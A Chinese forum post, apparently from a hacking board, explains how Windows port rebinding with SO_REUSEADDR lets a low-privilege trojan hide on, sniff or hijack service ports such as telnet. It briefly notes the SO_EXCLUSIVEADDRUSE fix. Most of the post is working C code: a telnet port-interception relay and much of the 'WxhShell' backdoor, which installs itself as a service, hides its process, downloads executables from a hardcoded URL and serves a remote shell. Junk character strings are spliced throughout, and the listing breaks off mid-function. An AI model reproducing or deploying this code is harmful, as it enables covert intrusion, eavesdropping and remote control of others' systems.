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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s')!<E+z\t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pvI&-D #}  
KF*B  
  saddr.sin_family = AF_INET; d9ZDpzx B  
7=AO^:=bx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C[^a/P`i  
<`^>bv9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )vxVg*.Ee  
30e(4@!4vW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s; ~J2h[  
!Q\X)C  
  这意味着什么?意味着可以进行如下的攻击: 6k@[O@)  
Pau&4h0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gDgP;i d  
2I9{+>k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r(748Qc4f?  
=#J 9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q2??Kp] 1  
<$Xn:B<H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i,\t]EJAU  
,|=iv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )yfOrsM  
wpJ^}+kF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9LUP{(uq  
+G>aj '\M|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L+`}euu5  
>7eu'  
  #include 0^_)OsFA  
  #include ">v_uq a  
  #include PLl x~A  
  #include    #nt<j2}m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <L[  *hp  
  int main() ~W5>;6f\  
  { m|g$'vjk  
  WORD wVersionRequested; KHiYV  
  DWORD ret; L8%=k%H(1  
  WSADATA wsaData; &ij^FAM  
  BOOL val; h=mI{w*  
  SOCKADDR_IN saddr; GZ-n! ^  
  SOCKADDR_IN scaddr; aa'0EU:  
  int err; (*c`<|)  
  SOCKET s; -#:Y+"'  
  SOCKET sc; xNkwTDN5  
  int caddsize; u:p:*u_^I  
  HANDLE mt; [ 7CH(o1a&  
  DWORD tid;   j.e`ip  
  wVersionRequested = MAKEWORD( 2, 2 ); s7X~OF(#  
  err = WSAStartup( wVersionRequested, &wsaData ); K[Ws/yc^a  
  if ( err != 0 ) { M<hs_8_*  
  printf("error!WSAStartup failed!\n"); bDcWb2 lqs  
  return -1; JRcuw'8+q  
  } /61ag9pN  
  saddr.sin_family = AF_INET; ?.|wfBI  
   :$u{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F\YcSDM  
A@lhm`Aa  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ACMpm~C8Gu  
  saddr.sin_port = htons(23); ` Mv5!H5l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -+Awm{X_@  
  { +$an*k9  
  printf("error!socket failed!\n"); 5Od(J5`  
  return -1; Qg86XU%l  
  } ;Ln7_  
  val = TRUE; ph5xW<VNP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {jCu9 ]c!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B_6v'=7]  
  { v f/$`IJ  
  printf("error!setsockopt failed!\n"); s}p GJ&C  
  return -1; tle K (^  
  } N:sECGS,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z"PDOwj5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |M0,%~Kt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .LhbhUEfn  
OQX{<pQ6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lMI ix0sSj  
  { d(dw]6I6  
  ret=GetLastError(); B "s8i{Vm  
  printf("error!bind failed!\n"); @[Jt~v  
  return -1; Xk7$?8r4&  
  } U_=wL  
  listen(s,2); faKrSmE!  
  while(1) GurE7J^=  
  { [{fF)D<tC  
  caddsize = sizeof(scaddr); cWy*K4O  
  //接受连接请求 71.:p,Z@z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <o"D/<XnB3  
  if(sc!=INVALID_SOCKET) kAKqW7,q"  
  { ,nuDoc  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .\hib. n3  
  if(mt==NULL) PxCl]~v  
  { M,v@G$pW  
  printf("Thread Creat Failed!\n"); 4<K ,w{I  
  break; LMhY"/hAXa  
  } #uDBF  
  } D;T r  
  CloseHandle(mt); k%4A::=  
  } l%)=s~6z  
  closesocket(s); yz&q2  
  WSACleanup(); IQ27FV|3  
  return 0; O (sFs1  
  }   1x<rh\oo  
  DWORD WINAPI ClientThread(LPVOID lpParam) WRU@i;l  
  { MjF.>4  
  SOCKET ss = (SOCKET)lpParam; t&?v9n"X  
  SOCKET sc; C">=2OO  
  unsigned char buf[4096]; I! eSJTN  
  SOCKADDR_IN saddr; )v$Cv|"  
  long num; PezWc18  
  DWORD val; c 6}xnH  
  DWORD ret; >+c`GpZH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "x)pp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >c'_xa?^G  
  saddr.sin_family = AF_INET; \~1zAiSd>#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K Lv  
  saddr.sin_port = htons(23); "1j\ZCXK_Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )9sr,3w  
  { *R~(:z>>  
  printf("error!socket failed!\n"); K+TTYQ  
  return -1; 1Mhc1MU  
  } MZ+IorZl  
  val = 100; '[ddE!ta  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t>=y7n&q  
  { 2g07wJ6x  
  ret = GetLastError(); laRKt"A  
  return -1; -gX2{dW  
  } g>oYEFFJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  f"=4,  
  { =)UiI3xHk  
  ret = GetLastError(); Q*J ~wuE2  
  return -1; TH}ycue  
  } B7jlJqV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |&pz,"(  
  { $@f3=NJ4k  
  printf("error!socket connect failed!\n"); rp[oH=&  
  closesocket(sc); $T%<'=u|E  
  closesocket(ss); zSM7x  
  return -1; m$UT4,Ol  
  } _"t.1+-K  
  while(1) %TggNU,  
  { R*5;J`TW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0tL/:zID  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hFPRC0ftE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h.+&=s!Nsy  
  num = recv(ss,buf,4096,0); )p_LkX(  
  if(num>0) ^~IcQ!j/5  
  send(sc,buf,num,0); /gy:#-2Gy  
  else if(num==0) _!g NF=  
  break; >wm$,%zk  
  num = recv(sc,buf,4096,0); u~T$F/]k>  
  if(num>0) i3WmD@  
  send(ss,buf,num,0); u2\qg;dP  
  else if(num==0) =}o>_+"  
  break; \ A UtGP  
  } |+=:x]#vV  
  closesocket(ss); 3jdB8a]T_  
  closesocket(sc); :/[ZgreN6  
  return 0 ; J?ZVzKTb>}  
  } K#+]  
$0C/S5b  
5dEO_1q %  
========================================================== (tz]!Aa{s  
7T;RXrT  
下边附上一个代码,,WXhSHELL n&78~@H  
X@4d~6k?  
========================================================== F`}w0=-*(  
Zdg{{|mm  
#include "stdafx.h" : MmXH&yR  
C>;8`6_!gU  
#include <stdio.h> p. ~jo  
#include <string.h> `Qk R  
#include <windows.h> !eoec2h#5  
#include <winsock2.h> TS8E9#1a  
#include <winsvc.h> (_5+`YsV  
#include <urlmon.h> D&d:>.~u  
snNg:rT L  
#pragma comment (lib, "Ws2_32.lib") Id 7  
#pragma comment (lib, "urlmon.lib") cMk%]qfVo8  
C`<} nx1  
#define MAX_USER   100 // 最大客户端连接数 {:8[Mdf  
#define BUF_SOCK   200 // sock buffer TUn@b11  
#define KEY_BUFF   255 // 输入 buffer ")gCA:1-  
$^aXVy5p  
#define REBOOT     0   // 重启 3Qr!?=nf  
#define SHUTDOWN   1   // 关机 &rWJg6/  
&Gwh<%=U  
#define DEF_PORT   5000 // 监听端口 l"!;Vkg.5  
<RsKV$Je I  
#define REG_LEN     16   // 注册表键长度 0A 4|  
#define SVC_LEN     80   // NT服务名长度 X}FF4jE]D(  
,#;ahwU~s  
// 从dll定义API uM<+2S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jCv+m7Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &WU*cfJn)A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _1%^ ibn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R~(.uV`#j  
Ym2m1  
// wxhshell配置信息 A2bV[+Q  
struct WSCFG { hs uJ;4}$q  
  int ws_port;         // 监听端口 o=2`N2AL  
  char ws_passstr[REG_LEN]; // 口令 gbZX'D  
  int ws_autoins;       // 安装标记, 1=yes 0=no xEWa<P#.u  
  char ws_regname[REG_LEN]; // 注册表键名 P[oB'  
  char ws_svcname[REG_LEN]; // 服务名 LtIZgOd<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mxp4YQl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x G"p .  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NdQ?3'WJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jC8BLyGE_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Wz{su2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }}2hI`   
\$UU/\  
}; },ZL8l{  
IT33E%G  
// default Wxhshell configuration NU*6iLIq|F  
struct WSCFG wscfg={DEF_PORT, ]g!<5 w  
    "xuhuanlingzhe", u[qtuM?&  
    1, 0evZg@JP`  
    "Wxhshell", V-u\TiL  
    "Wxhshell", 4f-C]N=  
            "WxhShell Service", @"2-tn@q_  
    "Wrsky Windows CmdShell Service", &!MKqJ@t  
    "Please Input Your Password: ", ;<rJ,X#  
  1, ]`m5!V_Y  
  "http://www.wrsky.com/wxhshell.exe", 86VuPV-  
  "Wxhshell.exe" B ~GyS"  
    }; 3=I Q  
cIkLdh   
// 消息定义模块 j* ?MFvwE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [_Z3v,vt,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qeGOSGc_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~epkRO="  
char *msg_ws_ext="\n\rExit."; gI{F"7fa=  
char *msg_ws_end="\n\rQuit."; C`K/ai{4  
char *msg_ws_boot="\n\rReboot..."; QKQy)g  
char *msg_ws_poff="\n\rShutdown..."; ^jA^~h3(W  
char *msg_ws_down="\n\rSave to "; PxY"{-iAM  
`8Ix&d3F  
char *msg_ws_err="\n\rErr!"; ~!u94_:  
char *msg_ws_ok="\n\rOK!"; Z)0R$j`2  
-fn~y1  
char ExeFile[MAX_PATH]; @) wXP@7  
int nUser = 0; b,`N;*  
HANDLE handles[MAX_USER]; |zlwPi.  
int OsIsNt; 7.-|3Wcg  
b5C #xxIO  
SERVICE_STATUS       serviceStatus; ibL;99#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ? ~8V;Qn  
tO$M[P=b  
// 函数声明 >MLqOUr#  
int Install(void); ~Q\[b%>J  
int Uninstall(void); 8a1{x(\z.  
int DownloadFile(char *sURL, SOCKET wsh); Pr'py  
int Boot(int flag); 35et+9  
void HideProc(void); 0' t)fnI#  
int GetOsVer(void); xRmB?kM3]5  
int Wxhshell(SOCKET wsl); EA72%Y9F  
void TalkWithClient(void *cs); Jr zU-g  
int CmdShell(SOCKET sock); :-n4! z"k  
int StartFromService(void); :PJjy6,1  
int StartWxhshell(LPSTR lpCmdLine); S5M t?v|K  
3f x!\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6A<aelE*i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~C3-E %h@Z  
dXQWT@$y!E  
// 数据结构和表定义 7EUaf;d^  
SERVICE_TABLE_ENTRY DispatchTable[] = >EG;2]M&  
{ b9Nw98`  
{wscfg.ws_svcname, NTServiceMain}, `. Z".  
{NULL, NULL} U6"50G~u  
}; EO^0sF<  
kS>j!U(%d  
// 自我安装 n&lLC&dL  
int Install(void) -g9f3Be  
{ r\?*?sL  
  char svExeFile[MAX_PATH]; EhoR.  
  HKEY key; +`xp+Q  
  strcpy(svExeFile,ExeFile); 2t%)d9r32  
Q&7Qht:ea:  
// 如果是win9x系统,修改注册表设为自启动 420K fVA  
if(!OsIsNt) { pw .(6"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A2 r RYzN;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B _ >|Mo/  
  RegCloseKey(key); mJHX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TDFv\y}yc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y!].l0e2a  
  RegCloseKey(key); oz--gA:g  
  return 0; oUH\SW8?  
    } TzjZGs W[V  
  } <@P0sd   
} uM$=v]e^ 4  
else { _eS*e-@O5  
hsh W5j  
// 如果是NT以上系统,安装为系统服务 7e4\BzCC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5 ,HNb  
if (schSCManager!=0) n!2|;|$}Z  
{ i?]!8Ji  
  SC_HANDLE schService = CreateService @%K 8 oYK  
  ( m`|+_{4[n  
  schSCManager, o3yZCz  
  wscfg.ws_svcname, Wl{Vz  
  wscfg.ws_svcdisp, uPpP")  
  SERVICE_ALL_ACCESS, #HML=qK~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;Ti?(n#M>  
  SERVICE_AUTO_START, `|4{|X*U.  
  SERVICE_ERROR_NORMAL, K4~dEZ   
  svExeFile, Sq,x@  
  NULL,  dbR4%;<  
  NULL, 6 BMn7m?  
  NULL, }[|"db  
  NULL, B dSTB"  
  NULL p<YO3@B+  
  ); =e63>*M|  
  if (schService!=0) & b%6pVj  
  { Wr;)3K  
  CloseServiceHandle(schService); gS!M7xy  
  CloseServiceHandle(schSCManager); DWDe5$^{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jx_4:G  
  strcat(svExeFile,wscfg.ws_svcname); wI:oe`?H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $JOIK9+3z#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @-wAR=k7  
  RegCloseKey(key); X^?-U ne  
  return 0; MFVFr "  
    } aLr^uce]  
  } jhHb[je~{4  
  CloseServiceHandle(schSCManager); *GA#.$n  
} ~0`Pe{^*  
} Z`[j;=[  
0kDT:3  
return 1; S5;q)qz2J  
} 3|C"F-'<  
t]V)3Ww  
// 自我卸载 RGcT  
int Uninstall(void) Q x:+n`$/  
{ j \SDw  
  HKEY key; W[b/.u5z:  
k,H4<")H  
if(!OsIsNt) { wvfCj6}S &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v / a/  
  RegDeleteValue(key,wscfg.ws_regname); |Q$C%7  
  RegCloseKey(key); GYj`-t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gpPktp2  
  RegDeleteValue(key,wscfg.ws_regname); U+W8)7bc  
  RegCloseKey(key); /c09-$M  
  return 0; dX<UruPA  
  } (7"qT^s3  
} r J&1[=s  
} ='s2S5#1  
else { G|o-C:~  
Z-WWp#b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q,2 @X~T  
if (schSCManager!=0) x9uA@$l^|  
{  iGR(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0FXM4YcrJO  
  if (schService!=0) bw@tA7Y  
  { 8s|r'  
  if(DeleteService(schService)!=0) { a-7nA  
  CloseServiceHandle(schService); ^s%Qt  
  CloseServiceHandle(schSCManager); S_^"$j  
  return 0; 3p7*UVR"  
  } H`fkds  
  CloseServiceHandle(schService); :QN,T3i'/3  
  } \4V'NTjB  
  CloseServiceHandle(schSCManager); GU!|J71z  
} am`eist:  
} J9 /w_,,R$  
f}*Xz.[bCp  
return 1; 4((Z8@iX/  
} 9~N7hLT  
%e _WO,R  
// 从指定url下载文件 -cG?lEh <  
int DownloadFile(char *sURL, SOCKET wsh) u+{5c5_  
{ ]SK(cfA`  
  HRESULT hr; DK:d'zb  
char seps[]= "/"; p/@z4TCNX  
char *token; YTY0N5["  
char *file; IUzRE?Kzf  
char myURL[MAX_PATH]; bBjVot  
char myFILE[MAX_PATH]; |GIT{_JE  
F|V?Z  
strcpy(myURL,sURL); 9) wjVk  
  token=strtok(myURL,seps); 18a6i^7  
  while(token!=NULL) |s|RJA1  
  { yp8 .\.  
    file=token; cLamqZf3  
  token=strtok(NULL,seps); m^p Q55,   
  } Yzd-1Jvk  
>5 Ce/P'R  
GetCurrentDirectory(MAX_PATH,myFILE); qD 2<-E&M/  
strcat(myFILE, "\\"); K?P.1H`  
strcat(myFILE, file); (RGl, x:  
  send(wsh,myFILE,strlen(myFILE),0); lnTl"9F  
send(wsh,"...",3,0); aFKks .n3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Il!iqDHz3  
  if(hr==S_OK) hd+JKh!u  
return 0; F/mD05{  
else 8amtTM  
return 1; x'}{^'}/  
m`n51i{U  
} !5x"d7  
F YcC2TM  
// 系统电源模块 |Y:T3hra61  
int Boot(int flag) InRn!~_N  
{ yl|+D]  
  HANDLE hToken; 2f F)I&  
  TOKEN_PRIVILEGES tkp; )-[X^l j  
Y ||!V  
  if(OsIsNt) { xOP\ +(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tw^V?4[Miu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5JQq?e)n  
    tkp.PrivilegeCount = 1; cpf8f i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~ 5`Ngpp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'v4AM@%u  
if(flag==REBOOT) { ~d28"p.7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }k'8*v}8  
  return 0; HD Eqq  
} )07M8o !^l  
else { C!v0*^i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `4XfT.9GT  
  return 0; k5W5 9tz  
} uPb9j;Q?  
  } s|d L.@0,L  
  else { AQ@A$  
if(flag==REBOOT) { )p(XY34]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ))u$j4 V  
  return 0; -K+grsb g  
} J>x)J}:;  
else { :N(L7&<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 61CNEzQ  
  return 0; HnZr RHT 0  
} {{:MJ\_"h_  
} ("wPkm^  
CEt_wKz f  
return 1; |(Io(e  
} \U p<m>3\  
I5PaY.i  
// win9x进程隐藏模块  5Gg`+o  
void HideProc(void) -H{c@hl  
{ lAV6z%MmM  
Onby=Y o6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L<J%IlcfO  
  if ( hKernel != NULL ) o"K{^ L~u  
  { @~/LsYA:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4TUe*F@ ML  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z3"f7l6  
    FreeLibrary(hKernel); IN),Lu0K  
  } ,NKDEcw]  
uflp4_D   
return; 2= u5N[*  
} 4d[:{/+Q  
h?fv:^vSi  
// 获取操作系统版本 i5V ly'Q  
int GetOsVer(void) Pqx=j_st  
{ 9 bGN5.5  
  OSVERSIONINFO winfo; Va?wG3w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); znX2W0V  
  GetVersionEx(&winfo); L<5go\!bV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CQ6Z[hLWF  
  return 1; k2p{<SO;  
  else r!#NFek}  
  return 0; Qq^>7OU>Co  
} m`E8gVC  
]@>bz  
// 客户端句柄模块 ]`]m41+w  
int Wxhshell(SOCKET wsl) cD]{ Nn  
{ L@9"6&  
  SOCKET wsh; =@&]PYv  
  struct sockaddr_in client; o=4d2V%m  
  DWORD myID; +*~?JT  
m>:3Ku  
  while(nUser<MAX_USER) "P'W@  
{ ~{oM&I|d8  
  int nSize=sizeof(client); -0Y8/6](  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "VB-=. A  
  if(wsh==INVALID_SOCKET) return 1; :8jHN_u  
_K8ob8)m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {}{|trr-E  
if(handles[nUser]==0) :W8DgL>l  
  closesocket(wsh); B?$pIG^Mn  
else Y M/^-[k3  
  nUser++; 5(tOQ%AQ  
  } IgQW 5E#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !$f@j6.  
f \[Z`D  
  return 0; ES<"YF  
} bY&s $Ry3"  
#*1\h=bzmW  
// 关闭 socket i{ eDV  
void CloseIt(SOCKET wsh) dGTAZ(1W  
{ KKl8tI\u~  
closesocket(wsh); 0:Ak 4L6k  
nUser--; f LxFF  
ExitThread(0); 7-Fh!=\f/  
} Z,_yE*q  
N:Q}Lil  
// 客户端请求句柄 00n6v;X  
void TalkWithClient(void *cs) bxK1v7  
{ 7Oru{BQ">  
SP 97Q-  
  SOCKET wsh=(SOCKET)cs; ;HgV(d#X  
  char pwd[SVC_LEN]; /@Y/(+DE  
  char cmd[KEY_BUFF]; O.  V!L  
char chr[1]; O5LB&s   
int i,j; ie=tM'fb  
iw12x:  
  while (nUser < MAX_USER) { 7P.C~,+D%P  
f'TdYG  
if(wscfg.ws_passstr) { 9#@dQ/*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9^c\$"2B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 39BGwKXb  
  //ZeroMemory(pwd,KEY_BUFF); khyn4   
      i=0; w<tr<Pu'  
  while(i<SVC_LEN) { -{-w5_B$  
`$fwLC3j  
  // 设置超时 <pK72  
  fd_set FdRead; k#w[G L|T  
  struct timeval TimeOut; S6 `4&0'  
  FD_ZERO(&FdRead); Kisd.~u8j  
  FD_SET(wsh,&FdRead); I.euuzBgA  
  TimeOut.tv_sec=8; Wu,'S;>C  
  TimeOut.tv_usec=0; d/j$_NQ&!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qR--lvO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7fgA)dU:K  
wMT?p/9Blm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $7T3wv9  
  pwd=chr[0]; A|O7W|"W  
  if(chr[0]==0xd || chr[0]==0xa) { x{6/di  
  pwd=0; }2|>Y[v2j  
  break; rH8w||S2U  
  } hmHm;l  
  i++; 3<AZ,gF1  
    } 9pb4!=g*  
% tN{  
  // 如果是非法用户,关闭 socket ez"Xb 7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z1wN+Y.CA  
} ;%"UZ~]f  
o=X6PoJ N_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {]n5h#c 5*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @K7#}7,t  
U:M?Ji5CY  
while(1) { p%jl-CC1  
7^ A;.x  
  ZeroMemory(cmd,KEY_BUFF); Bq#?g@V  
weEmUw Z  
      // 自动支持客户端 telnet标准   rL w,?  
  j=0; x24  
  while(j<KEY_BUFF) { .>Gq/[c0|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AhZ8B'Ee  
  cmd[j]=chr[0]; s"*zyLUUo  
  if(chr[0]==0xa || chr[0]==0xd) { ?J<Y]  
  cmd[j]=0; S>Z V8  
  break; Ysz{~E'  
  } )3V5P%Q  
  j++; HcXyU/>D  
    } ;X[mfg\  
=cs;avtL  
  // 下载文件 4=9To|U*  
  if(strstr(cmd,"http://")) { Ix93/FAn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #DXC 6f  
  if(DownloadFile(cmd,wsh)) )c b e 4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]j(2FM)#  
  else BSY2\AL p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yc/Nz(m  
  } 3)^-A4~E  
  else {  {.GC7dx  
)@DH&  
    switch(cmd[0]) { %=xR$<D  
  o$FqMRep  
  // 帮助 )q&=x2`  
  case '?': { /%\E2+6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X3NHQMI   
    break; {w$1_GU  
  } 7hqa|  
  // 安装 %3M(!X:[  
  case 'i': { t,4q]Jt  
    if(Install()) \Lv eZ_h5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lpQsmd#  
    else B @H.O!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , |CT|2D>  
    break; rR@ t5  
    } ja3wXz$2  
  // 卸载 {}H5%W  
  case 'r': { In#V1[io  
    if(Uninstall()) W'hE,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yv\.QrxPm  
    else awQ f$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .?UK`O2Q  
    break; vE0Ty9OH"]  
    } 3P-qLbJ  
  // 显示 wxhshell 所在路径 h7c8K)ntnf  
  case 'p': { X3vTyIsn  
    char svExeFile[MAX_PATH]; TBHIcX  
    strcpy(svExeFile,"\n\r"); eN fo8xUG  
      strcat(svExeFile,ExeFile); b*S :wfw  
        send(wsh,svExeFile,strlen(svExeFile),0); ,'?%z>RZm  
    break; ER~m &JI  
    } 4J Bm|Pf(  
  // 重启 >Ip>x!wi  
  case 'b': { Qctm"g|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =|O`al  
    if(Boot(REBOOT)) T%A45BE V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[ z=u  
    else { KY9sa/xO  
    closesocket(wsh); fo9O+e s  
    ExitThread(0); ]#]|]>& <  
    } NWd%Za5K;  
    break; + VE }c  
    } qMD6LWJ  
  // 关机 *T' /5,rX2  
  case 'd': { z1XFc*5  
